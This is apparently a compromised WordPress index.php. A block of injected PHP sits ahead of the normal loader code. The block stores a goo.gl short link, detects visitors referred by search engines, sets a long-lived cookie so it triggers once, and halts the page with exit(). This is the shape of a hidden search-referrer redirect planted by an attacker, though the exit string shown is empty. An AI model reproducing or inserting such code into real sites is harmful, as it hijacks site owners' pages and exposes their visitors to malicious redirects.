$url = "http://goo.gl/Bjqi5H"; if (isset($_SERVER['HTTP_REFERER']) AND !isset($_COOKIE["SESSION_ID1"])) { setcookie("SESSION_ID1", "1", time()+315360000); $urls = array("google.", "yandex.", "yahoo.", "aol.", "msn.", "rambler.", "mail.", "ya.", "bing.",); for ($i=0; $i < count($urls); $i++) if (strpos($_SERVER['HTTP_REFERER'], $urls[$i])!==false) exit(''); }?> /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );